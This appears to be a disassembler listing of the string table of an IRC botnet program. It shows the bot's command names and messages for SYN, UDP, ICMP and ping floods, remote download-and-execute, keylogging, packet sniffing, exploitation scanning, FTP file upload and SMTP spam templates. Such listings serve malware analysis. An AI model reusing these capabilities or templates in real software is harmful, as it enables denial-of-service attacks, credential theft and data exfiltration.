aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_42C7D4	db    2			; DATA XREF: sub_40D2E0+3D26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_42C814	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40D2E0:loc_410F67o
					; sub_40D2E0:loc_411DD0o
		dd 0BBBB0220h, 2002h
unk_42C830	db    2			; DATA XREF: sub_40D2E0+3C6Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42C864	db    2			; DATA XREF: sub_40D2E0:loc_410F2Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_42C8AC	db    2			; DATA XREF: sub_40D2E0+3C43o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_42C8F4	db    2			; DATA XREF: sub_40D2E0+3BCFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 10h
unk_42C930	db    2			; DATA XREF: sub_40D2E0+3B4Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_42C978	db    2			; DATA XREF: sub_40D2E0+3ADDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_42C9B8	db    2			; DATA XREF: sub_40D2E0+3A55o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42CA00	db    2			; DATA XREF: sub_40D2E0+39E6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 10h
dword_42CA40	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+3948o
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42CA88	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+38D7o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_42CAC4	db    2			; DATA XREF: sub_40D2E0+385Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42CB14	db    2			; DATA XREF: sub_40D2E0+37EFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 10h
unk_42CB50	db    2			; DATA XREF: sub_40D2E0+371Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42CBA4	db    2			; DATA XREF: sub_40D2E0+36AEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_42CBF0	db    2			; DATA XREF: sub_40D2E0+3620o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_42CC3C	db    2			; DATA XREF: sub_40D2E0+35B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40D2E0+352Do
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40D2E0+3430o
		align 4
dword_42CCA8	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40D2E0+33A2o
					; sub_40D2E0+43EFo
unk_42CCB4	db    2			; DATA XREF: sub_40D2E0+3340o
					; sub_40D2E0+5179o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_42CCFC	db    2			; DATA XREF: sub_40D2E0+32D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40D2E0+32A6o
					; sub_40D2E0+50DDo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40D2E0+329Fo
					; sub_40D2E0+50D6o
		align 10h
unk_42CD80	db    2			; DATA XREF: sub_40D2E0+3161o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_42CDC4	db    2			; DATA XREF: sub_40D2E0+301Ao
					; sub_40D2E0+4F21o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_42CE10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42CE58	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40D2E0+2EA2o
		align 4
unk_42CEC8	db    2			; DATA XREF: sub_40D2E0+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42CF10	db    2			; DATA XREF: sub_40D2E0+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_42CF68	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_410062o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_42CFB0	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42CFF8	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40D2E0+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40D2E0+2CE7o
dword_42D04C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_42D084	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_40FE41o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_42D0C0	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40D2E0+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40D2E0+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40D2E0+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40D2E0+2AD4o
		align 4
dword_42D138	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40D2E0+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40D2E0+2A44o
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40D2E0+2A2Do
		align 10h
unk_42D190	db    3			; DATA XREF: sub_40D2E0+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40D2E0+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40D2E0+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40D2E0+28B2o
		align 4
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40D2E0+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40D2E0+2884o
		align 4
aP:					; DATA XREF: sub_40D2E0+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40D2E0+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40D2E0+283Fo
		align 4
aU_0:					; DATA XREF: sub_40D2E0+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40D2E0+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40D2E0+27FAo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40D2E0+27E3o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40D2E0+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40D2E0+27A3o
		align 10h
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40D2E0+278Co
		align 10h
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40D2E0+2775o
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40D2E0+275Eo
		align 4
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40D2E0+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40D2E0+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40D2E0+2719o
		align 10h
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40D2E0+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40D2E0+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40D2E0+26D4o
		align 4
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40D2E0+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40D2E0+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40D2E0+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40D2E0+2633o
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40D2E0+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40D2E0+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40D2E0+25DCo
		align 4
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40D2E0+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40D2E0+25AEo
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_40D2E0+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40D2E0+2580o
		align 10h
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40D2E0+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40D2E0+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40D2E0+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40D2E0+2524o
		align 10h
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40D2E0+250Do
		align 4
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40D2E0+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40D2E0+24DFo
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40D2E0+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40D2E0+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40D2E0+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40D2E0+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40D2E0+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40D2E0+2455o
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40D2E0+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40D2E0+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40D2E0+2410o
		align 10h
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40D2E0+23F9o
		align 4
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40D2E0+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40D2E0+23CBo
		align 10h
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40D2E0+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40D2E0+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40D2E0+2386o
		align 4
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40D2E0+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40D2E0+2358o
		align 10h
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40D2E0+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40D2E0+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40D2E0+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40D2E0+22EAo
		align 4
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40D2E0+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40D2E0+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40D2E0+22A5o
dword_42D4DC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_40F537o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_42D508	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_40F530o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_42D538	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_40F4E5o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_42D564	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40D2E0+218Ao
		align 4
dword_42D59C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_40F45Fo
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_42D5CC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40D2E0+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40D2E0+20FDo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40D2E0+20E5o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40D2E0+20CDo
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_40D2E0+20B5o
		align 4
dword_42D628	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0:loc_40F38Ao
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_42D658	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40D2E0+2069o
		align 4
dword_42D694	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aCom_net	db 'com.net',0          ; DATA XREF: sub_40D2E0+2012o
unk_42D6E4	db    2			; DATA XREF: sub_40D2E0+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 10h
unk_42D730	db    2			; DATA XREF: sub_40D2E0+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_42D760	db    2			; DATA XREF: sub_40D2E0+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 10h
unk_42D790	db    2			; DATA XREF: sub_40D2E0:loc_40F1A1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_42D7CC	db    2			; DATA XREF: sub_40D2E0+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40D2E0+1E83o
					; sub_40D2E0+1EF9o
		align 10h
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40D2E0+1E5Do
		align 4
unk_42D82C	db    2			; DATA XREF: sub_40D2E0:loc_40F133o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_42D864	db    2			; DATA XREF: sub_40D2E0+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40D2E0+1E26o
					; sub_40D2E0+1E94o
unk_42D8B0	db    2			; DATA XREF: sub_40D2E0+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_42D8FC	db    2			; DATA XREF: sub_40D2E0+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_42D93C	db    2			; DATA XREF: sub_40D2E0+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40D2E0+1D25o
					; sub_40D2E0+1E72o
		align 10h
aSniff		db 'sniff',0            ; DATA XREF: sub_40D2E0+1D10o
		align 4
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40D2E0+1CF9o
		align 10h
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40D2E0+1CE2o
		align 10h
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40D2E0+1CCBo
		align 4
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40D2E0+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40D2E0+1C86o
					; sub_40D2E0+1C9Do
		align 4
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40D2E0+1C6Fo
		align 4
